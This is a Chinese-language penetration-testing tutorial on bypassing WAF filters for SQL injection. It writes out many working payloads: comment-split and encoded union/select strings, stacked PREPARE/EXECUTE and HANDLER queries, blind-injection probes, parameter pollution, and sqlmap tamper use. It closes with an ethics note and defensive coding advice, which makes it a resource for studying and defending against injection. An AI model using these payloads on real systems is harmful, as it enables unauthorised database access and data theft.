SQL注入绕过WAF实战:select与union过滤的深度解析与技巧

1. 项目概述:当SQL注入遇上WAF的“铜墙铁壁”

在Web安全测试或渗透测试的实战中,遇到一个存在SQL注入漏洞的站点,就像猎人发现了猎物踪迹,兴奋感油然而生。然而,当你满怀信心地掏出经典的union select 1,2,3准备大展拳脚时,返回的却是一个冷冰冰的“403 Forbidden”或者一个被拦截的页面提示,那一刻的心情,想必很多同行都深有体会。这正是Web应用防火墙(WAF)在发挥作用。它像一道智能的安检门,对传入的HTTP请求进行实时扫描和过滤,一旦检测到selectunioninformation_schema这类“危险品”,便会立即拦截。我们今天要深入探讨的,就是如何在这道“铜墙铁壁”面前,巧妙地“化装”我们的SQL注入载荷,让selectunion这些关键词成功“蒙混过关”,最终达成我们的测试或验证目的。这不仅是技巧的比拼,更是对SQL语法、HTTP协议以及WAF规则逻辑理解的深度考验。

2. 核心思路:理解WAF的“安检逻辑”与SQL的“语法本质”

要绕过WAF,首先得明白它是怎么工作的。大多数WAF(无论是云WAF如Cloudflare、阿里云盾,还是硬件WAF)的核心检测机制可以简化为基于正则表达式的模式匹配。它会维护一个庞大的恶意特征库,当你的请求参数中出现了诸如union selectinformation_schema.tablesconcat(0x等字符串时,就会触发规则并被阻断。

我们的核心绕过思路,就是制造一种“语法分裂”的状态:让WAF看到的字符串是“无害”的,而数据库服务器解析执行的SQL语句却是“有效”的。这依赖于几个关键点:

  1. WAF与数据库解析器的差异:WAF通常只做简单的字符串匹配,而数据库服务器(如MySQL、MSSQL)有一个完整的SQL解析器。解析器会处理注释、字符串连接、空白符、编码、关键字拆分等复杂语法。我们的任务就是利用这些解析特性,构造出能骗过WAF简单匹配,但能被数据库正确执行的语句。
  2. HTTP参数解析的多样性:请求参数在传输过程中可能经历URL编码、多重编码、特殊字符处理等。WAF的解码逻辑和Web应用后端(如PHP的$_GET、Java的request.getParameter)的解码逻辑可能存在细微差别,这为我们提供了可乘之机。
  3. 目标数据库的特性:不同数据库(MySQL、PostgreSQL、MSSQL、Oracle)对SQL语法的支持、内置函数、注释方式都有所不同。针对性的绕过技巧往往更有效。

基于以上理解,我们的绕过策略可以归结为两大类:混淆替代。混淆是让关键词“变脸”,替代则是寻找功能相同的“替身”。

3. 针对select关键字的绕过技巧实战

select是SQL注入中获取数据的核心命令,也是WAF重点关照的对象。以下是一些经过实战检验的绕过方法,我将结合MySQL数据库进行详细说明。

3.1 注释分割法:在关键词中“插队”

这是最经典、最有效的方法之一。原理是利用数据库SQL解析器会忽略注释内容这一特性,将关键词拆散。

示例1:内联注释/**/

id=1' uni/**/on sel/**/ect 1,2,3--+

WAF的规则可能直接匹配union select这个连续的字符串。当我们插入/**/(在MySQL中是多行注释,但在此处被当作空白符),WAF看到的可能是union select这些不连续片段,从而绕过检测。而数据库执行时,会忽略/**/,将其解析为完整的union select

示例2:注释配合空白符变体

id=1' u%0bnion s%e%0blect 1,2,3--+

这里使用了URL编码的换行符%0b(垂直制表符)。在某些WAF的解析中,%0b可能不被识别为有效的分隔符,或者其规范化处理与后端不同,导致u%0bnion未能匹配上union规则。而数据库在解析SQL时,会将这些空白符等效于空格。

实操心得:不要只尝试/**/,可以组合使用/*!*/(MySQL特有,可包含版本号,如/*!50000union*/)、--(单行注释)、#等。同时,尝试将注释放在关键词内部,如sel/**/ect,有时比放在词间效果更好。

3.2 大小写与随机大小写混淆

有些WAF的规则是大小写敏感的。

id=1' UniOn SeLeCt 1,2,3--+

或者更极端地:

id=1' uNiOn/**/sElEcT 1,2,3--+

这种方法简单,但对付现代的、规则完善的主流云WAF效果有限,因为它们通常会将输入统一转换为小写再进行匹配。不过,在针对一些自定义规则或老旧系统时,仍值得一试。

3.3 字符串拼接函数“造”出关键词

这是“替代”思路的典型应用。我们不直接写出select,而是通过函数动态拼接出这个单词。MySQL示例:

id=-1' union select 1,2,concat('sel','ect')--+ // 这本身还是用了select,演示拼接逻辑

更隐蔽的用法是,将select作为数据的一部分,然后通过执行动态SQL来调用(这通常需要高阶权限,如PREPAREEXECUTE):

id=1';SET @sql=concat('sel','ect * from users');PREPARE stmt FROM @sql;EXECUTE stmt;--+

这种方法门槛较高,且依赖于数据库配置(是否允许堆叠查询、是否有预处理语句权限),但一旦成功,绕过率极高。

3.4 编码与双重编码

利用WAF解码层和后端解码层的不一致。

  • URL编码select->%73%65%6c%65%63%74

    id=1' union %73%65%6c%65%63%74 1,2,3--+
  • 十六进制编码select->0x73656c656374

    id=1' union 0x73656c656374 1,2,3--+ // 错误!0x...会被当作值,不是关键字。

    注意:十六进制编码通常用于绕过字符串引号的过滤,如select * from users where username=0x61646d696e,而不是直接编码关键字本身。对于关键字,可以尝试非常规的Unicode编码或HTML实体编码,但成功率取决于WAF的规范化深度。

  • 双重URL编码s->%73->%25%37%33。可能WAF只做一次解码,看到的是%73%65...,仍触发规则,而后端解码两次,得到原始字符。

    id=1' union %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3--+

3.5 利用数据库特有语法和函数

MySQL的handler语句handler是MySQL中一个比select更底层的表访问接口,可以用来读取数据,且很少被WAF规则覆盖。

id=1';HANDLER `users` OPEN;HANDLER `users` READ FIRST;--+

PostgreSQL的setpg_sleep:通过set和查询系统表,结合时间盲注。

id=1';SELECT CASE WHEN (substring(current_user,1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END;--+

这里虽然用了select,但展示了在select被过滤时,可以转向基于时间或布尔逻辑的盲注,完全避免直接的数据回显。

4. 针对union select组合的进阶绕过策略

union select是联合查询注入的命脉,两者常被作为组合特征进行检测。除了将上述方法应用于每个关键词外,还有针对组合的特定技巧。

4.1 干扰与填充:让特征“淹没”在噪音里

unionselect之间插入大量“无害”的干扰字符。

  • 大量空白符:使用多个换行(%0a)、回车(%0d)、制表符(%09)、空格(%20)。
    id=1' union%0a%0d%09%20select 1,2,3--+
  • 注释块填充
    id=1' union/*这里是任意长的注释内容,可以是一段废话,目的是拉长特征距离*/select 1,2,3--+
    有些WAF的检测窗口是有限的,如果两个危险关键词之间的距离超过某个阈值,可能就不会被当作组合特征触发。

4.2 改变词序或使用等价语法

  • union distinct/union allunion默认是union distinct,添加all或显式声明distinct可能绕过简单的union select规则。
    id=-1' union all select 1,2,3--+
  • 子查询替代:在无法使用union时,考虑使用报错注入或盲注。但有时union的功能可以通过子查询模拟,虽然复杂。
    id=1' and (select substring(group_concat(table_name),1,1) from information_schema.tables where table_schema=database())='a'--+
    这完全避免了union

4.3 分步执行与堆叠查询

如果目标数据库支持堆叠查询(如PHP+MySQL的mysqli_multi_query),我们可以将union select拆分成两条独立的语句。

id=1';select 1,2,3;--+

然后通过第二个参数或后续请求来执行真正的查询。这需要找到注入点能执行多条SQL语句。

4.4 参数污染(HPP)与多重参数

利用Web服务器和WAF对同名参数处理方式的差异。

GET /vuln.php?id=1&id=union select 1,2,3--+

可能WAF检查第一个id=1认为是正常的,而应用程序(如PHP)可能取最后一个参数值id=union select 1,2,3--+,从而绕过WAF。或者反过来,WAF检查最后一个,应用取第一个。

5. 系统化绕过流程与自动化工具思路

在实际测试中,我们不应盲目尝试,而应遵循一个系统化的流程:

  1. 信息收集:确定后端数据库类型(MySQL、MSSQL等)、Web服务器、可能使用的WAF品牌(通过响应头如X-Protected-ByServer字段或拦截页面的特征判断)。
  2. 探测过滤规则:使用极低威胁的载荷(如id=1' and '1'='1)确认注入点。然后逐步添加特征:
    • 单独测试union
    • 单独测试select
    • 测试union select
    • 测试information_schema
    • 测试常见函数如sleep(),benchmark(),concat()观察何种组合、何种形式触发拦截。这有助于了解WAF规则的粒度。
  3. 选择绕过路径
    • 如果union select被拦,但select单独可用?-> 考虑盲注。
    • 如果information_schema被拦?-> 考虑使用mysql.innodb_table_stats(MySQL 5.6+)等替代系统表。
    • 如果空格被过滤?-> 使用注释/**/或括号()或换行符%0a代替。
  4. 载荷构造与迭代:根据探测结果,从最简单的注释分割开始,结合大小写、编码、干扰字符等方法,构造绕过载荷。采用迭代方式,一次只改变一个变量,以便定位有效的绕过技巧。
  5. 自动化工具辅助:熟悉sqlmaptamper脚本。sqlmap内置了大量绕过脚本(如space2comment,between,randomcase,equaltolike等),可以自动进行大量混淆尝试。理解这些脚本的原理,能极大提升你的手工绕过能力。

6. 常见WAF绕过场景问题排查实录

即使掌握了技巧,实战中依然会踩坑。下面记录几个典型场景和排查思路:

场景一:所有包含select的测试都被拦截,包括最简单的sel/**/ect

  • 排查:WAF可能采用了语义分析或语法树分析,而不是简单的字符串匹配。它可能能识别出注释被移除后的真实意图。
  • 尝试
    1. 转向时间盲注布尔盲注,完全避免在回显中使用select(虽然查询本身仍包含,但payload在条件判断中,可能特征不同)。例如:id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+
    2. 尝试使用异或注入等冷门方式:id=1' ^ (select ...),WAF可能对^运算符后的子查询检测较弱。
    3. 使用like,rlike,regexp等操作符代替=,结合盲注。

场景二:union select被拦,但union all select没被拦。

  • 分析:WAF的规则可能是精确匹配union[空格]selectunion all select因为中间多了个all,破坏了连续特征。
  • 深化:可以尝试union%0aall%0aselectunion/*a*/all/*b*/select等,进一步混淆。

场景三:注入点在CookieUser-Agent头中,WAF检测似乎更严格。

  • 分析:一些WAF对头部字段的检测规则可能与URL参数不同,有时更严,有时反而存在遗漏。
  • 尝试
    1. 参数污染:在Cookie中设置多个同名项。
    2. 换行符分割:在头部,换行符是原生分隔符,尝试User-Agent: Mozilla/5.0\nUnion\nSelect ...
    3. 超长头部:有些WAF对超长头部可能检测不全。

场景四:使用sqlmap--tamper选项跑不出,但手工测试发现某个特定混淆可以过。

  • 原因sqlmaptamper脚本是固定的组合,可能不包含你发现的这种特定WAF的“怪癖”。
  • 解决:将你手工成功的payload记录下来,分析其混淆特征(例如,是使用了特定的注释格式/*!00000union*/,还是特定的空白符序列)。可以尝试自己编写一个简单的tamper脚本,或者直接使用sqlmap--proxy拦截请求,将手工成功的payload粘贴进去继续自动化测试。

核心避坑指南

  1. 环境一致性:在本地或测试环境搭建类似架构(相同数据库版本、中间件),复现问题,能安全高效地试验各种绕过方法。
  2. 编码问题:注意Web应用的字符集(如GBK)。在GBK环境下,%df%27可能能绕过对单引号'的转义,形成宽字节注入。这本身是一种注入技巧,但也可能影响WAF对后续关键词的解析。
  3. WAF的学习模式:不要在一个IP上短时间发起大量、明显的攻击测试。这可能导致你的IP被拉黑,或者触发WAF的学习模式,动态增强规则,使得后续绕过更难。控制测试频率和强度。
  4. 道德与法律边界:所有测试必须在获得明确授权的范围内进行。绕过WAF的技术是一把双刃剑,掌握它是为了更好地防御。

7. 从攻击到防御:给开发者的建议

作为安全从业者,我们研究绕过的最终目的是为了加固防御。从这些绕过技巧中,开发者可以学到:

  1. 不要依赖黑名单(WAF)作为唯一防线:WAF是重要的安全层,但绝非万能。根本解决之道在于在代码层面使用参数化查询(Prepared Statements)或ORM框架,从根源上杜绝SQL注入的可能性。
  2. 实施最小权限原则:数据库连接账户应仅具有应用所需的最小权限。避免使用rootsa等高级账户。即使注入发生,也能限制损害范围(例如,无法执行LOAD_FILE,INTO OUTFILE等操作)。
  3. 严格的输入验证:在应用层,对输入数据的类型、长度、格式进行严格校验。例如,ID参数必须是整数,就应在接收时强制转换为整型。
  4. 统一的错误处理:避免将详细的数据库错误信息直接返回给前端用户。应使用自定义的错误页面,防止攻击者通过报错信息获取数据库结构。
  5. 定期更新与安全审计:及时更新WAF规则库、数据库补丁和中间件版本。定期进行代码安全审计和渗透测试,主动发现潜在漏洞。

绕过WAF的selectunion过滤,是一场充满技术细节的“猫鼠游戏”。它没有一成不变的银弹,需要测试者根据目标环境的具体情况,灵活组合各种技巧,并深刻理解底层原理。这个过程既是对耐心和细心的考验,也是提升Web安全纵深理解能力的绝佳途径。记住,最高明的安全,是让攻击者即便绕过了第一道关卡,却发现后面还有更坚固的防线,而最核心的数据,早已通过安全编码被妥善保护。